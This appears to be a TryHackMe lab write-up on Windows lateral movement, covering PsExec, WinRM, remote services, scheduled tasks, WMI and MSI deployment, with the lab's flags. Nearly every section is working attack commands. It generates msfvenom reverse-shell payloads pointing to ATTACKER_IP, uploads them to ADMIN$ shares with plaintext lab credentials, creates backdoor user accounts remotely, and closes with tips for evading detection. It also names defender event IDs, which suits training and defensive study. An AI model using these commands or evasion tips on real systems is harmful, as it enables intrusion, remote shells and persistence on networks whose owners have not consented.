📜 Lateral Movement & Pivoting in Windows Environments

A Practical Guide for Red Team Operators and Security Analysts

---

🔹 Introduction

Lateral movement refers to techniques attackers use to progressively move through a network after compromising an initial foothold, aiming to reach sensitive systems and data. In enterprise Windows environments, a variety of legitimate administrative tools and services are often abused for stealthy movement.

This paper outlines practical methods for performing lateral movement using tools such as **PsExec, WinRM, WMI, Scheduled Tasks**, and **Service Control**, including payload delivery using `msfvenom`. The goal is to provide a comprehensive walkthrough, equipping penetration testers and red teamers with real-world techniques and considerations.

🔹 Part 1: PsExec-Based Lateral Movement

PsExec, part of the Sysinternals Suite, is commonly used for remote execution on Windows machines.

Requirements:

- Port: `445/TCP` (SMB)
- Group Membership: `Administrators`

Usage:

```
psexec.exe \\TARGET -u ZA\\<username> -p <password> cmd.exe
```

If PsExec is detected or blocked by AV, try alternative SMB exec tools:

```
smbexec.py ZA/<username>@<IP>
```

Task: After using `PsExec`, the flag retrieved from THMIIS is:
✅ `THM{MOVING_WITH_PSEXEC}`

🔹 Part 2: Remote Process Creation via WinRM, Services, and Scheduled Tasks

🔸 WinRM (Windows Remote Management)

- Ports: `5985/TCP` (HTTP), `5986/TCP` (HTTPS)
- Group Membership: `Remote Management Users`

Remote shell with `winrs`:

```
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
```

PowerShell session:

```
$credential = New-Object System.Management.Automation.PSCredential
("Administrator", (ConvertTo-SecureString "Mypass123" -AsPlainText -Force))
Enter-PSSession -Computername TARGET -Credential $credential
```

One-liner remote command:

```
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {
whoami }
```

🔸 Remote Service Creation (using `sc.exe`)

- Ports: `135`, `445`, `139`, `49152-65535/TCP`
- Group: `Administrators`

Create and start a service:

```
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add"
start= auto
sc.exe \\TARGET start THMservice
```

Cleanup:

```
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
```

🔸 Remote Scheduled Tasks (via `schtasks`)

```
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command>" /sc
ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
schtasks /S TARGET /TN "THMtask1" /DELETE /F
```

🔸 Reverse Shell with Services

Use `msfvenom` to generate a service-compatible payload:

```
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP
LPORT=4444 -o myservice.exe
```

Upload to `ADMIN$` share:

```
smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA
'//thmiis.za.tryhackme.com/admin$/' EZpass4ever
```

Set up listener:

```
msfconsole -q -x "use exploit/multi/handler; set payload
windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;
exploit"
```

Spawn service to trigger shell:

```
sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath=
"%windir%\myservice.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start THMservice-3249
```

Flag:

✅ `THM{MOVING_WITH_SERVICES}`

🔹 Part 3: WMI-Based Lateral Movement

WMI (Windows Management Instrumentation) enables remote administrative tasks.

Establish WMI Session:

```
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -
SessionOption $Opt
```

🔸 Remote Process Execution (via WMI)

```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName
Create -Arguments @{ CommandLine = "cmd.exe /c whoami" }
```

🔸 Remote Service Creation

```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName
Create -Arguments @{
    Name = "THMService2";
    DisplayName = "THMService2";
    PathName = "net user munra2 Pass123 /add";
    ServiceType = [byte]::Parse("16");
    StartMode = "Manual"
}
```

Start, stop, and delete the service:

```
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -
filter "Name LIKE 'THMService2'"
```

```
Invoke-CimMethod -InputObject $Service -MethodName StartService
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
```

🔸 Scheduled Task Creation via WMI

```
$Action = New-ScheduledTaskAction -CimSession $Session -Execute "cmd.exe" -
Argument "/c net user munra22 aSdf1234 /add"
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT
AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
```

🔸 MSI Package Deployment via WMI

Create payload:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445
-f msi > myinstaller.msi
```

Upload and install:

```
smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA
'//thmiis.za.tryhackme.com/admin$/' Korine.1994
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName
Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi";
Options = ""; AllUsers = $false}
```

Listener:

```
msfconsole -q -x "use exploit/multi/handler; set payload
windows/x64/shell_reverse_tcp; set LHOST lateralmovement; set LPORT 4445;
exploit"
```

Flag (expected after MSI payload runs):

✅ `THM{WMI_LATERAL_MOVE}`

🔹 Part 4: Cleanup and Best Practices

While these techniques are useful for offensive operations, defenders can and do monitor for:

- Unusual service creation events (`Event ID 7045`)
- Remote scheduled tasks (`Event ID 4698`)
- WMI activity logs (`WMI-Activity` logs)
- WinRM connections (via `Microsoft-Windows-WinRM` logs)

To reduce detection risk:

- Randomize service/task names
- Avoid default payload filenames
- Clean up services, scheduled tasks, and binaries after use
- Use obfuscated or encoded payloads with care

🔹 Conclusion

Lateral movement remains a powerful capability in post-exploitation scenarios. This guide provided a practical walk-through of real-world methods attackers use, focusing on remote service manipulation, task scheduling, WMI, and MSI deployment. These same methods are critical for defenders to understand in order to detect and prevent attacks.
